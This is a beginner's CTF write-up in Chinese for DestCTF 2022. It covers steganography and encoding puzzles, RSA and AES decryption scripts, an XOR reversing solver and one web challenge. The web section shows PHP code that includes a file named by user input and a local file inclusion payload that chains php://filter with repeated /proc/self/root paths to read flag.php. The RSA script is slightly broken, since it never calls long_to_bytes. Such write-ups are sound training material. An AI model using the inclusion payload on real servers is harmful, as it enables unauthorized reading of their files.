前言:
由于刚接触CTF没多久 还是属于萌新级别的(中专高中生)也没怎么打过比赛记录一下学习的过程大佬绕过即可,后续会继续加油努力。
MISC:
Welcome to fxxking DestCTF:
hint:关注公众号并回复:Give me the fxxking flag
下载下来是一个没有后缀得png 文件 加个后缀 得到公众号 图片 扫一下 回复上面提示即可。
Dest0g3{W31c0m3_t0_DestCTF2022!}
Pngenius:
下载下来是一张图片,先放入WinHex 中然后在文件尾部分发现了PK 头 (压缩包文件)改个后缀里面有个 flag.txt 需要密码 使用工具 Stegsolve 然后LSB 一下 就可以看到压缩包密码了
Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}
EasyEncode:
下载下来是一个压缩包,里面的文件加密了使用工具Ziperello 得到密码:100861
打开里面是一串莫斯密码 进行解密 网站:https://www.ip138.com/mosi/
使用 unicode编码转换:http://www.esjson.com/unicodeEncode.html 得到一串base64 解码得到FLAG
Dest0g3{Deoding_1s_e4sy_4_U}
你知道js嘛:
下载下来的文件放入kali 发现是一个文件夹 在word 目录下发现了两个xml 文件 其中一个文件中藏着三串base64 编码 依次进行解码
Brainfuck:http://www.hiencode.com/brain.html
Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
StrangeTraffic:
下载下来是个数据包 直接过滤TCP协议查看数据流 根据数据流进行分析 发现规律得到是base64 编码 最终多次组合得到FLAG
4096:
打开靶机是一个4096的小游戏,直接F12 查看网页源代码 直接搜索flag 找到一串bse64 加密的字符串 解码后发现是flag 的其中一部分 然后找到了一张很大的白色图片保存一下,使用foremost 分离一下 发现里面有个音频文件 还有个加密的压缩包文件
是wav 格式的 先使用Audacity 分析一下设置一下频普图仔细听了一下好像是电话号码 拨号的按键声
接着放入kali 中使用工具qsstv 把音频放进去 得到了提示 电话号码加密的MD5 值就是压缩密码
注意顺序 最后得到电话号码为:13879085947 进行MD5加密得到压缩吧解压密码
得到了一张打乱的图片 需要拼图 使用工具gaps 最后得到完整拼图 拼图中有一串base64 编码 解码即可得到FLAG 。
gaps --image=flag.jpg --size=64 --save
需要尝试一下排列顺序最终得到:RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ== 最后把前面获取到的FLAG 组合一下 得到:Dest0g3{ed4d114f-9ee4-4ee7-b673-971d81f8b177}
Python_jail:
打开第一个提示文件,很明显是零宽字节加密的所以要进行解密 : 提示我们要使用空白字符
0宽字节解密:https://www.mzy0.com/ctftools/zerowidth1/
另一个网站:http://330k.github.io/misc_tools/unicode_steganography.html
第二个文件就是空白字符的文本 需要解密 推荐这个网站:https://vii5ard.github.io/whitespace/
打开压缩包里面有张图片 在尝试对其进行LSB 隐写查看 使用工具Stegsolve 得到一串base64 编码进行解码最终得到FLAG
base64解码:http://www.jsons.cn/base64
flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}
CRYPTO:
babyRSA:
from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import libnum
q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
e = 65537
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
string = long_to_bytes
print(string)
abyAES:
from Crypto.Cipher import AES
from gmpy2 import*
from Crypto.Util.number import*
enc_flag = b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
aes = AES.new(key,AES.MODE_CBC,iv)
flag = aes.decrypt(enc_flag)
print(flag)
REVERSE:
simpleXOR:
dword = [0xB3, 0x91, 0x82, 0x80, 0xC3, 0x9B, 0xCE, 0x75, 0xCF, 0x9C, 0x9A, 0x85, 0x85, 0xCD, 0xB8, 0x84, 0xAA, 0x7D, 0xBD, 0xBB, 0xB1, 0xB5, 0x96, 0x71, 0x8D, 0x9E, 0x86, 0xBF, 0x73, 0xA8, 0xA3, 0x9C, 0x83, 0x65, 0x9E, 0x57]
q = []
flag = ""
v6 = 247
for i in dword:
q.append(i ^ v6)
for j in range(0, 36):
flag += chr(q[j]-j)
print(flag)
WEB:
phpdest:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
文件包含漏洞 payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
Dest0g3{10cbbff7-a535-45ae-84f1-76ebb8771bae}
|